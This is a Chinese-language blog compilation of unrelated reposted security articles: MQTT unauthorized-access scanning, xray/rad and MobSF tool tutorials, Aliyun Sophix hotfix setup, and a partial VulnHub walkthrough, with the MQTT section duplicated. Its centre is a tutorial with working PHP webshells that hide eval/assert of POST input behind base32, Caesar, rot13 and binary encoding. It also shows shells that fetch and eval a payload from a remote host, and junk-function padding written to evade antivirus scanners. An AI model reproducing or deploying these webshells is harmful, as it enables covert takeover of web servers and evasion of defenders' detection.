MQTT未授权漏洞利用
MQTT未授权漏洞利用
本文转自唐小风 并作补充
1、扫描端口
2、mqtt-pwd安装
1
2
3
4 git clone https://github.com/akamai-threat-research/mqtt-pwn.git
cd mqtt-pwd
docker-compose up --build --detach
docker-compose run cli
1
2
3
4 discovery
scans
scans -i 1
topics
本文转自唐小风 并作补充
1
2
3
4 git clone https://github.com/akamai-threat-research/mqtt-pwn.git
cd mqtt-pwd
docker-compose up --build --detach
docker-compose run cli
1
2
3
4 discovery
scans
scans -i 1
topics
本文转自pureqh 并作补充
由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免杀思路 效果很好 而且不会被杀软的正则和沙盒规则约束。
部分杀软会直接将一些编码函数如Base64、编码后的关键字或组合函数加入了规则 比如某dir+
比如这个 都能被检测出是shell
所以为了防止这种的规则 自定义加密显然是最优解
自定义加密可选性多了 只要能把加密后的字符还原回去就行 比如base32 base58 这类的base编码全家桶 或者自定义ascii移位 甚至是对称加密算法等都是可以绕过这类规则检测
- base32编码payload
(https://github.com/pureqh/webshell):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
class KUYE{
public $DAXW = null;
public $LRXV = null;
function __construct(){
$this->DAXW = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
$this->LRXV = @SYXJ($this->DAXW);
@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
}}
new KUYE();
function MNWK($QSFX){
$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
$NLHB = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){
$v <<= 8;
$v += ord($QSFX[$i]);
$vbits += 8;
while ($vbits >= 5) {
$vbits -= 5;
$NLHB .= $BASE32_ALPHABET[$v >> $vbits];
$v &= ((1 << $vbits) - 1);}}
if ($vbits > 0){
$v <<= (5 - $vbits);
$NLHB .= $BASE32_ALPHABET[$v];}
return $NLHB;}
function SYXJ($QSFX){
$NLHB = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){
$v <<= 5;
if ($QSFX[$i] >= 'a' && $QSFX[$i] <= 'z'){
$v += (ord($QSFX[$i]) - 97);
} elseif ($QSFX[$i] >= '2' && $QSFX[$i] <= '7') {
$v += (24 + $QSFX[$i]);
} else {
exit(1);
}
$vbits += 5;
while ($vbits >= 8){
$vbits -= 8;
$NLHB .= chr($v >> $vbits);
$v &= ((1 << $vbits) - 1);}}
return $NLHB;}
- ascii码移位payload(凯撒加密)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class FKPC{
function __construct(){
$this->TQYV = "bs^i%!\MLPQXwbolZ&8";
$this->WZDM = @HHGJ($this->TQYV);
@eval("/*#jkskjwjqo*/".$this->WZDM."/*sj#ahajsj*/");
}}
new FKPC();
function HHGJ($UyGv) {
$svfe = [];
$mxAS = '';
$f = $UyGv;
for ($i=0;$i<strlen($f);$i++)
{
$svfe[] = chr((ord($f[$i])+3));
}
$mxAS = implode($svfe);
return $mxAS ;
}
居然没过webdir+
那如何解决呢 我们后面再说 当然应付D盾还是绰绰有余了
Rot13加密payload
1
2
3
4
5
6
7
8
9
10
11
12
13
class KUYE{
public $DAXW = null;
public $LRXV = null;
function __construct(){
$this->DAXW = 'riny($_CBFG[mreb]);';
$this->LRXV = @str_rot13($this->DAXW);
@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
}}
new KUYE();二进制转化payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class KUYE{
public $DAXW = null;
public $LRXV = null;
function __construct(){
$this->DAXW = '1100101 1110110 1100001 1101100 101000 100100 1011111 1010000 1001111 1010011 1010100 1011011 1111010 1100101 1110010 1101111 1011101 101001 111011';
$this->LRXV = @BinToStr($this->DAXW);
@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
}}
new KUYE();
function BinToStr($str){
$arr = explode(' ', $str);
foreach($arr as &$v){
$v = pack("H".strlen(base_convert($v, 2, 16)), base_convert($v, 2, 16));
}
return join('', $arr);
}
这里就不列举了 只要方法正确 绕过杀软是很简单的
上面那个凯撒密码不是被webdir+杀了吗 我们在这里将他绕过
众所周知凯撒密码需要设置往前或往后移几位ascii 这个参数可以设置为解密方法的输入参数 经过测试 此参数在源码中会被沙盒跑出了 因此不能过百度杀毒 ,那么 我不写本地不就行了 我直接起一个http服务访问文本获得参数值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
class FKPC{
function __construct(){
$url = "http://xxxxx:8080/1.txt";
$fp = fopen($url, 'r');
stream_get_meta_data($fp);
while (!feof($fp)) {
$body.= fgets($fp, 1024);
}
$this->x = $body;
$this->TQYV = "bs^i%!\MLPQXwbolZ&8";
$this->WZDM = @HHGJ($this->TQYV,$this->x);
@eval("/*#jkskjwjqo*/".$this->WZDM."/*sj#ahajsj*/");
}}
new FKPC();
function HHGJ($UyGv,$x) {
$svfe = [];
$mxAS = '';
$f = $UyGv;
for ($i=0;$i<strlen($f);$i++)
{
$svfe[] = chr((ord($f[$i])+$x));
}
$mxAS = implode($svfe);
return $mxAS ;
}
当然肯定能用
但是 这转了一圈简直不低碳啊 我不能直接http获取payload吗 …
简化代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class KUYE{
public $a = 'yshasaui';
public $b = '';
function __construct(){
$url = "http://xxx/1.txt";
$fp = fopen($url, 'r');
stream_get_meta_data($fp);
while (!feof($fp)) {
$body.= fgets($fp, 1024);
}
$this->b = $body;
@eval("/*GnSpe=121u*/".$this->b."/*Gn212Spe=u*/");
}}
new KUYE();
众所周知 正则类杀软最喜欢直接把危险函数加入规则 那么 它杀的是函数名 还是逻辑呢?
试一试就知道了
我们的样本如下:
1
2
3
4
5
6
7
$a = substr("assertxx",0,6);
$a($_POST['x']);这是个使用substr函数切割关键字的小马
直接扔到webdir+杀
毫无疑问的被杀了
那么 我们重写substr函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17 function mysubstr($string, $start = 0, $length = null) {
$result = '';
$strLength = strlen($string);
if ($length === null) {
$length = $strLength;
}
$length = (int) $length;
$start = $start < 0 ? ($strLength + $start) : ($start);
$end = $length < 0 ? ($strLength + $length) : $start + $length;
if ($start > $strLength || ($end - $start) === 0) {
return $result;
}
for (; $start < $end; $start ++) {
$result .= $string[$start];
}
return $result;
}然后把函数替换
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$b = 'assert(xyz@';
$c = mysubstr($b,0,6);
$c($_POST['zero']);
function mysubstr($string, $start = 0, $length = null) {
$result = '';
$strLength = strlen($string);
if ($length === null) {
$length = $strLength;
}
$length = (int) $length;
$start = $start < 0 ? ($strLength + $start) : ($start);
$end = $length < 0 ? ($strLength + $length) : $start + $length;
if ($start > $strLength || ($end - $start) === 0) {
return $result;
}
for (; $start < $end; $start ++) {
$result .= $string[$start];
}
return $result;
}再拿去杀
结论很清楚了
再来D盾杀一下
不错 报2级了 这就是沙盒型查杀和正则类查杀的明显区别 怎么过呢 用构造方法即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
class pure
{
public $a = '';
function __destruct(){
assert("$this->a");
}
}
$b = new pure;
$b->a = $_POST['zero'];
function mysubstr($string, $start = 0, $length = null) {
$result = '';
$strLength = strlen($string);
if ($length === null) {
$length = $strLength;
}
$length = (int) $length;
$start = $start < 0 ? ($strLength + $start) : ($start);
$end = $length < 0 ? ($strLength + $length) : $start + $length;
if ($start > $strLength || ($end - $start) === 0) {
return $result;
}
for (; $start < $end; $start ++) {
$result .= $string[$start];
}
return $result;
}
看到这里大家可能也很奇怪 这里都没用到mysubstr函数 放上去不是多此一举吗
不好意思 恰恰不是 我们可以去掉这个函数 用D盾杀一下
1
2
3
4
5
6
7
8
9
10
11
12
13
class pure
{
public $a = '';
function __destruct(){
assert("$this->a");
}
}
$b = new pure;
$b->a = $_POST['zero'];
怎么样 是不是很有趣
这里放这堆代码并不是为了真的用它 而是为了过D盾的特征查杀 所以放什么函数是无所谓的。
比如这样:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class pure
{
public $a = '';
function __destruct(){
assert("$this->a");
}
}
$b = new pure;
$b->a = $_POST['zero'];
function mysubstr($a,$b) {
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
}
这里只介绍了重写substr函数 那么其他的函数可以吗 当然可以
只要思想不滑坡 方法总比困难多
本文转自夏初春末_昊 并作补充
xray 是一款功能强大的安全评估工具,由多名经验丰富的一线安全从业者呕心打造而成,主要特性有:
1、检测速度快。发包速度快; 漏洞检测算法效率高。
2、支持范围广。大至 OWASP Top 10 通用漏洞检测,小至各种 CMS 框架 POC,均可以支持。
3、代码质量高。编写代码的人员素质高, 通过 Code Review、单元测试、集成测试等多层验证来提高代码可靠性。
4、高级可定制。通过配置文件暴露了引擎的各种参数,通过修改配置文件可以客制化功能。
5、安全无威胁。xray 定位为一款安全辅助评估工具,而不是攻击工具,内置的所有 payload 和 poc 均为无害化检查。
这是Xray的官方教程https://docs.xray.cool/#/
1
2 .\Xray.exe --运行xray
.\Xray.exe version --查看版本号
(1)代理模式下,扫描器作为中间人,首先原样转发流量,并返回服务器响应给浏览器等客户端,通讯两端都认为自己直接与对方对话,同时记录该流量,然后修改参数并重新发送请求进行扫描。
(2)在浏览器使用 https 协议通信的情况下,必须要得到客户端的信任,才能建立与客户端的通信。这里的突破口就是 ca 证书。只要自定义的 ca 证书得到了客户端的信任,xray 就能用该 ca 证书签发各种伪造的服务器证书,从而获取到通信内容。
1 ./xray_darwin_amd64 genca --生成ca证书双击 ca.crt,将证书导入到受信任的目录
(3)xray 配置文件中默认不允许扫描 gov 和 edu 等网站,如果想对这些网站进行授权测试,需要移除 config.yml中的hostname_disallowed 的相关配置。
使用powershell执行如下命令
1
2 ./xray.exe webscan --listen 127.0.0.1:7777 --html-output xray-scan.html ---启动监听
./xray.exe webscan --url-file edu.txt --html-output edu.html(1)启动监听之后,浏览器开启127.0.0.1/7777的代理
(2)浏览器访问网页就行,xray会自动进行扫描
(1)爬虫模式是模拟人工去点击网页的链接,然后去分析扫描,和代理模式不同的是,爬虫不需要人工的介入,访问速度要快很多
./xray.exe webscan –basic-crawler http://127.0.0.1/pikachu/vul/sqli/sqli_str.php –html-output pachong_pikachu.html
(2)登录后的网站扫描。如果用的是代理模式,只要浏览器是登录状态,那么漏洞扫描收到的请求也都是登录状态的请求。对于普通爬虫而言,就没有这么“自动化”了, 可以通过配置 Cookie 的方式实现登录后的扫描。打开配置文件,修改 http 配置部分的 Headers 项:(配置文件修改)
1
2
3 http:
headers:
Cookie: key=value
1 proxy:" " # 漏洞扫描时使用的代理,如: http://127.0.0.1:8080
Rad是长亭科技开发的一款目录爬取工具,因为xray自动化爬取功能欠佳,所以结合rad可以更高效的自动爬取。注意,rad只是爬取目标的目录,不爬取子域!!
下载好后进入解压的目录,执行如下命令进行使用
1
2
3
4
5
6
7
8
9
10
11
12
13
14 rad -t http://example.com
需要手动登录的情况
rad -t http://example.com -wait-login
执行以上命令会自动禁用无头浏览模式,开启一个浏览器供手动登录。 在登录完毕后在命令行界面点击回车键继续爬取。
rad -t http://example.com -text-output vuln.txt
以上命令会将爬取到的URL输出到vuln.txt中
导出完整请求
rad -t http://example.com -full-text-output result.txt
完美使用语法如下
rad_windows_amd64.exe -t http://example.com -text-output vuln.txt -wait-login
(1)xray开启代理监听
1 xray.exe webscan --listen 127.0.0.1:7777 --html-output proxy.html(2)rad对目标进行爬取,代理到xray上
1 rad -t http://127.0.0.1/pikachu/ -http-proxy 127.0.0.1:7777 -wait-login
本文转自雨苁 并作补充
移动安全框架(MobSF)是一种自动化的多合一移动应用程序(Android/iOS/Windows)可以进行静态和动态分析的渗透测试,恶意软件分析和安全评估框架。MobSF支持移动应用程序二进制文件(APK,XAPK,IPA和APPX)以及压缩的源代码,并提供REST API以与CI / CD或DevSecOps管道无缝集成。动态分析器可帮助您执行运行时安全性评估和交互式检测。
requirements.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27 Django>=3.1.5
lxml>=4.6.2
rsa>=4.7
biplist>=1.0.3
requests>=2.25.1
bs4>=0.0.1
colorlog>=4.7.2
macholib>=1.14
whitenoise>=5.2.0
waitress>=1.4.4;platform_system=='Windows'
gunicorn>=20.0.4;platform_system!='Windows'
psutil>=5.8.0
shelljob>=0.6.2
asn1crypto>=1.4.0
oscrypto>=1.2.1
distro>=1.5.0
IP2Location>=8.5.1
lief>=0.11.0
http-tools>=2.1.0
libsast>=1.3.7
pdfkit>=0.6.1
google-play-scraper>=0.1.2
androguard==3.3.5
apkid==2.1.2
frida==14.2.8
# For semgrep
ruamel.yaml==0.16.10 # pyup: ignore现在,只要您已安装文档中的所有要求,就可以从pypi https://pypi.org/project/mobsf/安装mobsf
1
2
3
4
5
6
7
8
9 python3 -m venv venv
source venv/bin/activate
pip wheel --wheel-dir=yara-python --build-option="build" --build-option="--enable-dex" git+https://github.com/VirusTotal/yara-python.git@v3.11.0
pip install --no-index --find-links=yara-python yara-python
pip install mobsf
mobsfdb # 迁移数据库
mobsf 127.0.0.1:8000 # 运行mobsf
1
2
3
4
5 git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
apt-get install python3-venv
pip3 install -r requirements.txt
./setup.sh在浏览器中打开链接(0.0.0.0:8000),查看MobSF是否已正确安装。
现在MobSF已启动并正在运行,我们可以将虚拟APK(在本例中,我将使用Kyle Benac的InjuredAndroid(在此处))放入MobSF界面,然后看看会发生什么。等待几分钟后,我们可以看到对APK进行了静态分析。现在,在登录页面上,我们可以看到给出了严重性评分。此分数越高,应用程序越安全。接下来,还给出了哈希,APK的文件名和大小。在第一行的第三列中,我们还可以看到软件包名称,主要活动,最小SDK版本和应用程序版本。还给出了应用程序的描述。
向下滚动一点后,我们将看到以下内容:
- 在小卡片中,我们看到了不同的应用程序组件
- 动态分析选项将帮助MobSF进行运行时分析
- 查看反编译代码的选项。这是apktool生成的代码。通常,资源文件也将被解码。也可以查看smali代码。使用它,可以更轻松地在单独的Java类中分离和查看源代码。
在证书列中,我们可以看到签署者证书,在其中可以找到有关开发人员,国家/地区,州,算法类型,位大小等的重要信息。
此外,我们可以看到应用程序具有的所有权限。
有各种权限被分类为危险或正常。
从安全分析人员的角度来看,重要的是要了解哪些权限可能导致进一步的损害。例如,如果应用程序可以访问外部媒体并将关键信息存储在外部媒体上,则可能会很危险,因为存储在外部媒体上的文件是全局可读和可写的。
接下来,在“可浏览的活动”部分中,我们可以看到实现了深层链接架构的所有活动。请参考**此处** 的文章**,**以了解有关深层链接,其实现以及开发的所有信息。
在“网络安全”部分,您可以找到有关与应用程序相关的网络安全问题的一些详细信息。这些问题有时会导致类似MiTM的严重攻击。例如,在下面的屏幕截图中,您可以发现该应用程序未使用已实现的SSL固定机制。
在下一节中,MobSF分析了清单文件。您可以从android清单文件中找到许多信息,例如导出了哪些活动,是否可调试应用程序,数据模式等。有关参考,请参见下面的屏幕截图。
MobSF工具最有趣的功能之一是代码分析部分。在本节中,我们可以看到MobSF已经基于OWASP MSTG等行业安全标准做法对应用程序的某些行为进行了分析和比较,并将漏洞映射到OWASP Top10。有趣的是,在这里提到了CWE和CVSS评分,这很有趣。可能会帮助各种分析人员方案,并有助于更轻松地创建报告。
MobSF还托管提供APKiD分析的部分。APKiD是一个开源工具,对识别Android文件中的各种打包程序,编译器,混淆器等非常有用。它类似于APK中的PEiD。在这里,您可以看到它已在APK中检测到反VM代码。
与恶意软件分析有关的是域恶意软件检查功能。MobSF在这里提取所有经过硬编码或在应用程序中使用过的URL / IP地址,并显示其恶意软件状态,并使用ip2location给出其地理位置。
还可以进行全面的字符串分析。知道恶意软件分析的人员会深入了解字符串,但对于那些不了解字符串的人,字符串是文件中嵌入的ASCII和Unicode可打印字符序列。提取字符串可以提供有关程序功能和与可疑二进制文件关联的指示符的线索。例如,如果APK将某些内容显示为输出,则该流将被调用并因此显示在字符串中。这与strings.xml文件不同。很多时候,与APK通信的第三方IP地址在此处可见。从恶意软件分析的角度来看,这是必不可少的。
人们还可以在MobSF中找到硬编码的电子邮件。全部使用反编译的源代码完成。通常,一个pentester可以找到一些重要的电子邮件ID,这些电子邮件ID在第三方站点上被用作凭证,例如,用于访问数据库。
就像电子邮件一样,URL也经常被硬编码。人们可以找到有时正在使用的多汁URL。分析师经常发现恶意URL甚至是C&C服务器也被访问。
通常,开发人员习惯于在string.xml中存储诸如AWS ID和凭证之类的关键密钥,并在Java活动中使用对象作为引用。但是这样做没有任何帮助,因为strings.xml可以轻松解码。
使用MobSF还可滚动显示所有存在的活动的列表。这可以深入了解Android APK的骨架。另外,如果开发人员进行了混淆处理,有时jadx会用一些随机字母替换类的真实名称,MobSF也可以关联其真实名称(并非一直存在或在强烈混淆的情况下不会发生)。
同样,分析师也可以遍历服务,广播,提供者和内容接收者以及APK存档中存在的所有文件,以创建应用程序中存在的所有资源的地图。
为了进行动态分析,我们需要先在genymotion中启动android VM。在这里,我已经在7.1版上创建了一个Android VM
当您按顶部导航窗格上的动态分析器选项时,如果MobSF和genymotion在同一台基本计算机上运行,则MobSF将自动将其自身附加到正在运行的VM。但是,如果MobSF在另一个虚拟机中,则可能必须将MobSF代理附加到genymotion的VM的远程IP和端口。连接后,我们将看到以下屏幕。
在分析器状态栏下,我们可以看到各种可用的默认frida脚本,这些脚本可以检查各种基本漏洞,例如SSL固定绕过和根检测。如果您还没有阅读有关frida的信息,请通过此处阅读。还有其他辅助脚本,使分析人员可以枚举各种类,还可以实时捕获字符串比较(再次有助于恶意软件分析人员的观点)。然后,只需单击“开始检测”,选定的脚本将自动附加到应用程序。因此,如果我选择了SSL Pinning绕过脚本,并且捕获了流量(以后在日志或API监视器中可见),那将意味着SSL Pinning被绕过了。
现在,要进一步分析活动的漏洞,可以在顶部看到两个按钮,分别用于已导出和未导出的活动
同样,如果不必使用预先配置的Frida脚本,也可以将Frida脚本粘贴到右侧的文本框中。还有一个下拉框可以加载这些脚本。您也可以编辑相同的内容。
Logcat也可以在MobSF的本地环境中查看。顶部菜单上有一个按钮,可让用户查看此内容。
就像logcat监视设备日志一样,也可以监视API。APK实时使用各种API来执行各种功能,例如Base64库。
因此,如果函数正在使用此API并解密一个值,我们可以在此处看到该值并对其进行解码。例如,在下面您可以在Base64中看到一次此类函数的返回值。
完成分析后,可以通过滑动左侧的菜单栏滑块并单击生成报告来下载报告。
生成报告时,您可能会注意到一些错误。要解决此问题,您可以按照以下命令安装wkhtmltopdf模块:
1 apt-get install wkhtmltopdf
现在,再次单击最近的扫描栏,您将看到静态和动态报告生成选项。
该报告如下所示:
MobSF是在Android APK上进行自动化分析的绝佳工具。它并没有涵盖对所有漏洞的分析,许多测试只能手动进行,但它是一个非常漂亮的小工具,可以在很大程度上帮助分析师。
本文转自五问 并作补充
https://help.aliyun.com/document_detail/434850.html
https://help.aliyun.com/document_detail/434858.html
- 准备好阿里云账号
- 进行身份实名认证
- 移动研发平台EMAS,进行项目创建,创建后会生成一个
aliyun-emas-services.json 文件
,里面包含了热修复sdk接入时所需的密钥,很重要
生成应用的key信息文件,如果建议按需接入所需功能,没必要也不安全,按下图将文件放入到app中
下图的红框中的添加sdk也是,添加emas平台中的所有功能,建议按需接入某个功能(如:热修),另外该插件在Android
gradle 7
之上会报错
https://help.aliyun.com/document_detail/434883.html
注意点如下:
使用
gradle plugin版本高于4.2时
,可能会自动开启资源优化。开启资源优化后,资源名称被混淆,会导致补丁工具在生成补丁时一直卡在”开始构建补丁…..”,无法正常解析apk包。解决方案:在gradle.properties 中新增android.enableResourceOptimizations=false,
重新生成基线包和修复包,然后再生成补丁。密钥的使用推荐在
SophixStubApplication 中初始化
,而不是在AndroidManifest文件中配置
使用android studio打包生成apk时,要关闭instant run。
queryAndLoadNewPatch方法用来请求控制台发布的补丁包,会涉及设备信息读取,所以必须在用户同意隐私协议之后调用。另外用户可根据业务情况,酌情考虑是否打开此开关。
但不可放在attachBaseContext中,否则无网络权限,建议放在主进程用户同意隐私协议之后的任意时刻。
接入流程步骤如下:
添加工程依赖
1. Android Studio集成方式
1
2
3
4
5
6
7
8
9
10
11
12
13 gradle远程仓库依赖, 打开项目找到App的build.gradle文件,添加如下配置:
添加Maven仓库地址:
****
```
repositories {
maven {
url "http://maven.aliyun.com/nexus/content/repositories/releases"
}
}
```2.添加gradle坐标版本依赖:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19 android {
......
defaultConfig {
applicationId "com.xxx.xxx" //包名
......
ndk {
//选择要添加的对应cpu类型的.so库。
//热修复支持五种
abiFilters 'arm64-v8a', 'armeabi', 'armeabi-v7a', 'x86', 'x86_64'
}
......
}
......
}
dependencies {
......
compile 'com.aliyun.ams:alicloud-android-hotfix:3.3.5'
......
}3.添加应用权限
Sophix SDK使用到以下权限,使用Maven依赖或者aar依赖可以不用配置。具体配置在AndroidManifest.xml中。
1
2
3
4 <uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>4.配置AndroidManifest文件
也可以不用配置(直接在SophixStubApplication,文件中初始化配置即可(推荐在SophixStubApplication中配置))
,在 移动研发平台EMAS,进行项目创建,创建后会生成一个aliyun-emas-services.json 文件
,里面包含了热修复sdk接入时所需的密钥在
AndroidManifest.xml
中间的application
节点下添加如下配置:
1
2
3
4
5
6
7
8
9 <meta-data
android:name="com.taobao.android.hotfix.IDSECRET"
android:value="App ID" />
<meta-data
android:name="com.taobao.android.hotfix.APPSECRET"
android:value="App Secret" />
<meta-data
android:name="com.taobao.android.hotfix.RSASECRET"
android:value="RSA密钥" />5. 混淆配置,按需配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17 ```
-printmapping mapping.txt
-keep class com.taobao.sophix.**{*;}
-keep class com.ta.utdid2.device.**{*;}
-dontoptimize
```
**
**重要**
开启混淆时,生成修复包要使用旧包的mapping文件以保证混淆结果一致。
初始化6. 初始化
初始化的调用应该尽可能的早,必须在
Application.attachBaseContext()
的最开始(在super.attachBaseContext之后,如果有Multidex,也需要在Multidex.install之后)进行SDK初始化操作,初始化之前不能用到其他自定义类,否则极有可能导致崩溃。而查询服务器是否有可用补丁的操作可以在后面的任意地方。不建议在Application.onCreate()
中初始化,因为如果带有ContentProvider,就会使得Sophix初始化时机太迟从而引发问题。Sophix最新版本引入了新的初始化方式。
原来的初始化方式仍然可以使用。只是新方式可以提供更全面的功能修复支持,将会带来以下优点:
- 初始化与应用原先业务代码完全隔离,使得原先真正的Application可以修复,并且减少了补丁预加载时间等等。
- 新方式能够更完美地兼容Android 8.0以后版本。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60 public class SophixStubApplication extends SophixApplication {
private final String TAG = "SophixStubApplication";
String appVersion = "0.0.0";
// 此处SophixEntry应指定真正的Application,并且保证RealApplicationStub类名不被混淆。
static class RealApplicationStub {
}
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
initSophix();
}
private void initSophix() {
try {
appVersion = this.getPackageManager()
.getPackageInfo(this.getPackageName(), 0)
.versionName;
} catch (Exception e) {
}
final SophixManager instance = SophixManager.getInstance();
List<String> tags = new ArrayList<>();
///todo 构建正式包之前需要修改为:
///tags.add("production");
tags.add("test"); //这个值就是,你进行灰度包热修时,要填写的tag
for (String tag : tags) {
Log.e(TAG, "sophix tag:" + tag);
}
instance.setContext(this)
.setAppVersion(appVersion)
.setEnableDebug(false)
.setEnableFullLog()
.setTags(tags)
.setSecretMetaData("你自己的hotfix.idSecret",
"你自己的emas.appSecret",
"你自己的hotfix.rsaSecret")
.setPatchLoadStatusStub(new PatchLoadStatusListener() {
public void onLoad(final int mode, final int code, final String info, final int handlePatchVersion) {
Log.e(TAG, "sophix handlePatchVersion:" + handlePatchVersion + " /code:" + code + " /info:" + info);
if (code == PatchStatus.CODE_LOAD_SUCCESS) {
///重启后会装载补丁会调用该方法
Log.e(TAG, "sophix load patch " + handlePatchVersion + " success!" + info);
} else if (code == PatchStatus.CODE_LOAD_RELAUNCH) {
///补丁加载成功会调用该方法
// 如果需要在后台重启,建议此处用SharePreference保存状态。
Log.e(TAG, "sophix preload patch success. restart app to make effect. handlePatchVersion:" + handlePatchVersion);
Intent intent = new Intent();
intent.putExtra("message", "恭喜你,成功接收到发送的广播" + PatchStatus.CODE_LOAD_RELAUNCH);
intent.setAction("可使用重启广播重启");
sendBroadcast(intent);
}
}
}).initialize();
}
}7.最后,需要把AndroidManifest里面的application改为这个新增的SophixStubApplication类:
1
2
3
4 <application
android:name="com.my.pkg.SophixStubApplication"
... ...>
... ...这样便完成了新方式的初始化接入改造。
https://emas.console.aliyun.com/service/devTool/hotfix/patch
如下图:注意应用版本必须与你的
versionName
一致,否则会导致后续下发查找不到差量包
https://help.aliyun.com/document_detail/434864.html
- 准备好SophixPatchTool_windows打包工具各版本打包工具如下:
- 打一个release的包
- 再第2步的release包的基础上修改一些内容,在打一个release包
- 利用工具开始打包,如下图
注意: 每次热修差量包的生成的基础包就是你上次发版后的包,并不是说你在进行第三次热修时,用第二次的热修包,作为基准包
问题包:1.0-querelease-2022-12-07.apk,修复包:1.0-release-2022-12-07.apk
打开工具:
选择两个包填充
选择设置填好keystore
选择高级,默认如下图,强制冷启动就是补丁包下发后必须重启,建议勾选强制冷启动,为何:看下面解释
Sophix何时走即时生效热修复,何时走冷启动修复?
https://help.aliyun.com/document_detail/53227.htm?spm=5176.2020520104.0.0.385a3f1bbai0Ta#topic-1993907
配置完成后点击Go开始打差量包
成功
sophix-patch.jar 就是打出的差量包
上传后点击发布如下图
下载[hotfixdebug]工具验证你的补丁包是否成功
,调试流程原文如下链接:https://help.aliyun.com/document_detail/434866.html
调试没问题后点击上图的
新建发布
发布的话:有全量,灰度两种,
灰度的话
,需要设置指定标签tag
,就是你的应用app中Sophix所配置的,如下图:(推荐是全量)
SophixManager.getInstance().queryAndLoadNewPatch()
后续将回调
PatchLoadStatusListener
如下图
依次出现热修状态码如下,状态码含义:
https://help.aliyun.com/document_detail/434886.html?spm=a2c4g.11186623.0.0.6cdf4b0cnRYOiA
上图加载成功后提示需要重启后热修生效
1. 修改一个toast文案,然后修复成功。
2. 修改一张图片,增加一张新的图片进行展示,增加点击效果,增加一个新的类生成提示文案(mipmap-hdpi、drawable-xhdpi、drawable、都添加图片)
drawable-xhdpi 中新增热修图片添加可能会存在问题:如下,然后按要求在drawable 中添加后,热修成功。
https://help.aliyun.com/document_detail/338384.html
3. 添加assets文件,热修成功。
4.
四大组件不行
,因为需要在AndroidManifest.xml文件中配置,热修的时候使用的话会报找不到的,需要注册异常,如下图
5. 删除测试4中的组件跳转流程,热修测试成功,
6. 删除测试2中添加的xml中的代码与相关资源,热修测试成功
注意:
1.热修包存在的话,每杀死app,初始化进来都会走
1
2
3 onLoad方法的回调
code == PatchStatus.CODE_LOAD_SUCCESS
2.同一个热修包,设置不同的tag,然后点击下发的话都会下发一次
3.清除热修包后,之前发布的版本都无效了,再次查询加载,都查不到了,只能之后在这个版本重新发布
1 SophixManager.getInstance().cleanPatches()
名称:Who Wants To Be King: 1
发布日期:2020.12.1
作者:Bjorn
系列:Who Wants To Be King
推特:@ArmBjorn
Flags:
root:/root/nice.txt
难度:简单
文件名:whowantstobeking.ova
文件大小:2.4GB
下载地址:
MD5: 5B8BDCC5C24A3705C88F969B47A7199B
SHA1: 0114959A45DB91F699594D1476AB900F610681CA
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(ubuntu)
DHCP服务:可用
IP地址:自动分配
1.将靶机whowantstobeking和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip
2.再进行端口扫描,发现只开放了22和80端口,访问主页,发现skeylogger文件:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.121 | tee nmapscan,端口扫描
3.最后再进行一下目录扫描,没有什么发现:
1 gobuster dir -u http://192.168.56.121 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描
1.将skeylogger文件下载到本地,查看文件属性发现是二进制文件:
1 file skeylogger
1 readelf -all skeylogger
2.再利用strings命令看看文件中有没有隐藏什么字符串,发现了一串base编码的字符串:
1 strings skeylogger
3.将字符串解码,得到dracarys,这个到底是用户名还是密码我们不得而知,于是搜索一下:
1 echo ZHJhY2FyeXMK | base64 -d
